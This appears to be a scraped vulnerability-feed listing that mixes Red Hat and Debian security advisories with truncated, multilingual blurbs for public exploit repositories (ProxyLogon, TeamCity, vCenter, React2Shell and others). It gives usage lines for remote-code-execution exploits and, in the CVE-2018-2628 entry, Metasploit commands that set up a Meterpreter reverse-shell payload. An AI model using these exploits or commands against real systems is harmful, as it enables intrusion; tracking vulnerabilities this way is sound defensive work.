FreeRDP: FreeRDP: Heap-buffer-overflow allows arbitrary code execution via crafted RPC response

A flaw was found in FreeRDP. A remote attacker, specifically a malicious TS Gateway, can exploit a heap-buffer-overflow vulnerability by sending a specially crafted Remote Desktop Protocol RDP response. This occurs because the client incorrectly uses a smaller allochint value instead of the actua...

freerdp: FreeRDP: Arbitrary code execution via heap buffer overflow in Opus audio decode

A flaw was found in FreeRDP, a free implementation of the Remote Desktop Protocol. A malicious Remote Desktop Protocol RDP server can exploit a heap buffer overflow vulnerability during Opus audio decoding. This occurs when the server negotiates Opus audio with a vulnerable client, causing the...

Important: Red Hat Security Advisory: freerdp security update

An update for freerdp is now available for Red Hat Enterprise Linux 10. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from...

ProxyLogon-CVE-2021-26855

ProxyLogon-CVE-2021-26855 Microsoft Exchange の ProxyLogon 脆弱性に対する RCE エクスプロイト Python 3.9 で動作 使用法: python proxylogonrce.py target email command 例: python proxylogonrce.py 192.168.227.137 [email protected] whoami すべてのクレジットは DEVCORE に帰属します。https://f5.pm/go-62102.html に基づく...

CVE-2014-7236_Exploit

Эксплойт для выполнения кода в TWiki CVE-2014-7236 использование: perl exploit.pl host cmd пример: perl exploit.pl http://127.0.0.1/Main/WebHome "uname -a" Ссылка: http://seclists.org/fulldisclosure/2014/Oct/44...

CVE-2023-42793

CVE-2023-42793 - Создание учётной записи администратора TeamCity, ведущее к RCE сначала используйте exploit.py для создания учётной записи администратора, затем используйте rce.py для выполнения команд на цели. Для получения reverse shell смотрите это exploit скрипт Описание Этот скрипт...

CVE-2025-55182-POC

CVE-2025-55182 / CVE-2025-66478 Среда для воспроизведения уязвимостей Это минимальный MVP для воспроизведения уязвимостей React2Shell CVE-2025-55182 и Next.js RSC RCE CVE-2025-66478. ⚠️ Предупреждение Этот проект предназначен только для целей исследования безопасности и образования. Не используйте...

CVE-2019-12594

CVE-2019-12594 Это PoC для CVE-2019-12594, уязвимости в DOSBox 0.74-2. Запуск калькулятора на хосте из DosBox 0.74-2 PoC для этой уязвимости был протестирован со следующей конфигурацией: DOSBox 0.74-2 Debian 10 amd64 Libc6 2.28-10...

FreeRDP: FreeRDP: Heap-buffer-overflow allows arbitrary code execution via crafted RPC response

A flaw was found in FreeRDP. A remote attacker, specifically a malicious TS Gateway, can exploit a heap-buffer-overflow vulnerability by sending a specially crafted Remote Desktop Protocol RDP response. This occurs because the client incorrectly uses a smaller allochint value instead of the actua...

Important: Red Hat Security Advisory: freerdp security update

An update for freerdp is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from t...

CVE-2018-2628

Тест на наличие уязвимости Загрузка shell Способ 1: Способ 2: Выполнение shell Получение meterpreter root@kitploit: msf use exploit/multi/script/webdelivery msf exploitmulti/script/webdelivery set target 3 target = 3 msf exploitmulti/script/webdelivery set payload windows/meterpreter/reversetcp...

CVE-2022-22274_CVE-2023-0656

SonicWall NGFW CVE-2022-22274 и CVE-2023-0656 24 марта 2022 года SonicWall опубликовала уведомление со следующими деталями: Уязвимость переполнения буфера в стеке в SonicOS через HTTP-запрос позволяет удаленному неаутентифицированному злоумышленнику вызвать отказ в обслуживании DoS или потенциаль...

CVE-2021-21972

Инструкция по использованию и отказ от ответственности Удаленное выполнение кода в VMware vCenter Server CVE-2021-21972 Использование: Python CVE-2021-21972.py urls.txt Каждый URL в urls.txt указывается в отдельной строке. Адреса уязвимых систем выводятся в файл vul.txt. Затронутые версии: VMware...

CVE-2019-13024

CVE-2019-13024 Centreon v19.04 远程代码执行漏洞 CVE-2019-13024 的官方利用代码...

cve-2019-3398

cve-2019-3398 Подробности Быстрая реализация доказательства концепции для уязвимости CVE-2019-3398 в Confluence, написанная на python. Затронуты версии Confluence 6.12.3, 6.13.3, 6.14.2 и 6.15.1. Эксплойт требует действующих учетных данных. Использование Отредактируйте поля osusername и ospasswor...

CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC

CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC Уязвимость позволяет атакующему, имеющему сетевой доступ к SSH-серверу Erlang/OTP, выполнять произвольный код без предварительной аутентификации. Описание В SSH-сервере Erlang/OTP выявлена серьёзная уязвимость, которая может позволить атакующему осуществить...

cve-2025-55182-poc

CVE-2025-55182 React2Shell - Академическое доказательство концепции ⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ Этот репозиторий содержит функциональный эксплойт для критической уязвимости CVSS 10.0. Он предназначен строго для академических исследований, анализа безопасности и...

CVE-2025-58180

CVE-2025-58180 RCE en OctoPrint a través de un nombre de archivo sin saneamiento en la subida de archivos En OctoPrint versión =1.11.2, un atacante con acceso de subida de archivos p. ej., una clave API válida o una sesión puede crear un nombre de archivo malicioso que evade el saneamiento y que...

Ashwesker-CVE-2025-52691

🚨 CVE-2025-52691 — Критическая уязвимость SmarterMail Статус: 🔥 Критический — требуется немедленное реагирование Оценка CVSS v3.1: 10.0 / 10 Дата раскрытия: 29–30 декабря 2025 г. 🧩 Краткое описание уязвимости CVE-2025-52691 — это критическая уязвимость неавторизованной произвольной загрузки файло...

[SECURITY] [DLA 4764-1] libdbi-perl security update

Debian LTS Advisory DLA-4764-1 [email protected] https://www.debian.org/lts/security/ Guilhem Moulin August 31, 2026 https://wiki.debian.org/LTS Package : libdbi-perl Version : 1.643-3+deb11u2 1.643-4+deb12u2 CVE ID : CVE-2026-14380 CVE-2026-14739 CVE-2026-14740 CVE-2026-15043...